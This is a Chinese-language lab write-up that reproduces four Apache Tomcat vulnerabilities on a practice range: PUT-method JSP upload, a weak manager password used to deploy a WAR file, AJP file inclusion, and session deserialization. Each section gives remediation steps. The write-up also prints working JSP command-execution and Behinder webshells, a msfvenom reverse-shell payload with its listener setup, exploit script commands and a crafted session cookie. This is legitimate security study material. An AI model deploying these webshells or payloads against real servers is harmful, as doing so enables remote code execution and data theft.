所有文章,仅供安全研究与学习之用,后果自负!
Tomcat漏洞复现
前言
tomcat 环境官网地址
http://tomcat.apache.org/download-80.cgi
参考 https://cloud.tencent.com/developer/article/1590639搭建
以下使用vulfocus靶场
ysoserial
集合了各种java反序列化payload;
下载地址:https://github.com/angelwhu/ysoserial
http://www.jackson-t.ca/runtime-exec-payloads.html
CVE-2016-8735
CVE-2017-12615 readonly 设为true的情况少
CVE-2020-1938 AJP协议漏洞 8009暴露在外网的少
控制台弱口令 部署webshell 7.x版本后 默认加了防爆机制
一、tomcat 文件上传 (CVE-2017-12615)
0x01 漏洞描述
Windows上的Apache Tomcat如果开启PUT方法(默认关闭),则存在此漏洞,攻击者可以利用该漏洞上传JSP文件,从而导致远程代码执行。
Tomcat 是一个小型的轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。
开启PUT方法
默认情况下readonly是true,此时PUT和DELETE方法是被拒绝的,当readonly为false时,便会开启。打开tomcat/conf/web.xml文件,找到default servlet的配置项,添加readonly那一项
0x02 影响范围
Apache Tomcat 7.0.0 – 7.0.81
0x03 漏洞复现
手动复现
(1)开启抓包访问
(2)修改请求方式为
OPTIONS /xx HTTP/1.1
发现允许PUT方法
(3)验证漏洞是否存在的话 直接
修改请求方式为 PUT /test.jsp/ HTTP/1.1
添加请求体为 <%out.print(“hacker”); %>
然后访问test.jsp即可
(4)上传执行命令脚本
发送请求包为
添加请求方式
PUT /test.jsp/ HTTP/1.1
和请求体
<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
(5)访问上传点
payload: http://118.193.36.37:50179/test.jsp?&pwd=123&cmd=pwd
jsp马上传成功
(6)冰蝎连接webshell
jsp木马为
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
同5中利用方法 抓包 请求体改为 上边代码
上传成功后 冰蝎连接
脚本利用
cve-2017-12615_cmd.py
python2 运行
(1) 运行查看说明
python2 cve-2017-12615_cmd.py
(2) exp
python2 cve-2017-12615_cmd.py http://118.193.36.37:21469
(3)反弹shell
bash base64编码输入
0x04 修复方法
1.配置readonly和VirtualDirContext值为True或注释参数,禁止使用PUT方法并重启
tomcat
注意:如果禁用PUT方法,对于依赖PUT方法的应用,可能导致业务失效。
2.根据官方补丁升级最新版本
二、tomcat-pass-getshell 弱口令
0x01 漏洞描述
Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。 通过弱口令登录后台,部署war包geshell
0x02 影响范围
0x03 漏洞利用
(1)访问页面
(2)点击manager app 登录
tomcat:tomcat若口令登录
(3)登录后发现有上传点
先将jsp一句话木马压缩为 shell1.zip文件
再将shell1 .zip文件修改为 shell1.war文件 然后上传
(4)发现多出一个shell1目录
访问shell1目录下的压缩包里的shell1.jsp木马存在该页面 上传成功
冰蝎连接即可
也可以用 msf马
(1)msf 生成waf木马
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.128 lport=8888 -f war -o msf.war
(2)msf 开启监听
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set lhost 192.168.110.128
set lport 8888
(3)上传 msf.war
上传成功
(4)访问msf.war脚本
(5)反弹shell成功
0x04 修复方法
1、在系统上以低权限运行Tomcat应用程序。创建一个专门的 Tomcat服务用户,该用户只能拥有一组最小权限(例如不允许远程登录)。
2、增加对于本地和基于证书的身份验证,部署账户锁定机制(对于集中式认证,目录服务也要做相应配置)。在CATALINA_HOME/conf/web.xml文件设置锁定机制和时间超时限制。
3、以及针对manager-gui/manager-status/manager-script等目录页面设置最小权限访问限制。
三、tomcat 文件包含 (CVE-2020-1938)
0x01漏洞描述
描述: Apache Tomcat是美国阿帕奇(Apache)软件基金会的一款轻量级Web应用服务器。该程序实现了对Servlet和JavaServer Page(JSP)的支持。 国家信息安全漏洞共享平台发布了Apache Tomcat上的文件包含漏洞。通知中表示攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件,如:webapp配置文件或源代码等 根目录下有个flag.png,可以去包含它进行读取flag
这个包含漏洞不能跨出 webapps 目录,攻击者可以读取到 webapp 目录下的任意文件,包括 war 包。而 war 包里有properties文件,不少开发团队都把连接数据库的用户名密码、JWT 签名 secret 、加解密密钥等重要信息放在这个文件里。这个漏洞的存在,允许攻击者可以最终读取到这些密钥数据,当然源码也是能通过反编译 war 包里的 class 文件得到的。
当然,这个漏洞也能配合上传漏洞包含 getShell
0x02 影响范围
受影响版本
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
不受影响版本
Apache Tomcat = 7.0.100
Apache Tomcat = 8.5.51
Apache Tomcat = 9.0.31
0x03 漏洞利用
(1)漏洞利用地址
poc地址 https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
python2 运行
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.111 -p 8009 -f WEB-INF/web.xml
存在漏洞
(2) 靶场 提示 源代码根目录下存在flag.png 可以去包含它进行读取flag
访问确实存在
(3)python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 118.193.36.37 -p 56786 -f flag.png
读取出上述代码
由于本人较菜 不知道怎么没有解析jsp 而是显示的源代码 请各位大佬指教。
0x04 修复方法
官方升级
目前官方已在最新版本中修复了该漏洞,请受影响的用户尽快升级版本进行防护
一:若不需要使用Tomcat AJP协议,可直接关闭AJP Connector,或将其监听地址改为仅监听本机localhost。
其他防护措施
具体操作:
(1)编辑 <CATALINA_BASE>/conf/server.xml,找到如下行(<CATALINA_BASE> 为 Tomcat 的工作目录):
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />
(2)将此行注释掉(也可删掉该行):
<!--<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />-->
(3)保存后需重新启动Tomcat,规则方可生效。
二:若需使用Tomcat AJP协议,可根据使用版本配置协议属性设置认证凭证。
使用Tomcat 7和Tomcat 9的用户可为AJP Connector配置secret来设置AJP协议的认证凭证。例如(注意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值):
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>
使用Tomcat 8的用户可为AJP Connector配置requiredSecret来设置AJP协议的认证凭证。例如(注意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值):
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" requiredSecret="YOUR_TOMCAT_AJP_SECRET" />
四、 tomcat 反序列化 (CVE-2020-9484)
0x01 漏洞描述
描述: Apache Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器。
成功利用此漏洞需要同时满足以下4个条件:
1.攻击者能够控制服务器上文件的内容和文件名称;
2.服务器PersistenceManager配置中使用了FileStore;
3.PersistenceManager中的sessionAttributeValueClassNameFilter被配置为“null”,或者过滤器不够严格,导致允许攻击者提供反序列化数据的对象;
4.攻击者知道使用的FileStore存储位置到攻击者可控文件的相对路径
0x02 影响版本
Apache Tomcat 10.0.0-M1—10.0.0-M4
Apache Tomcat 9.0.0.M1—9.0.34
Apache Tomcat 8.5.0—8.5.54
Apache Tomcat 7.0.0—7.0.103
0x03 漏洞利用
(1)执行下边语句生成payload
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 “ls /tmp” > /tmp/666.session
(2)执行
curl ‘http://118.193.36.37:15433’ -H ‘Cookie: JSESSIONID=…/…/…/…/tmp/666.session’
未成功
0x04 修复建议
升级到 Apache Tomcat 10.0.0-M5 及以上版本
升级到 Apache Tomcat 9.0.35 及以上版本
升级到 Apache Tomcat 8.5.55 及以上版本
升级到 Apache Tomcat 7.0.104 及以上版本
总结
未完后续再补充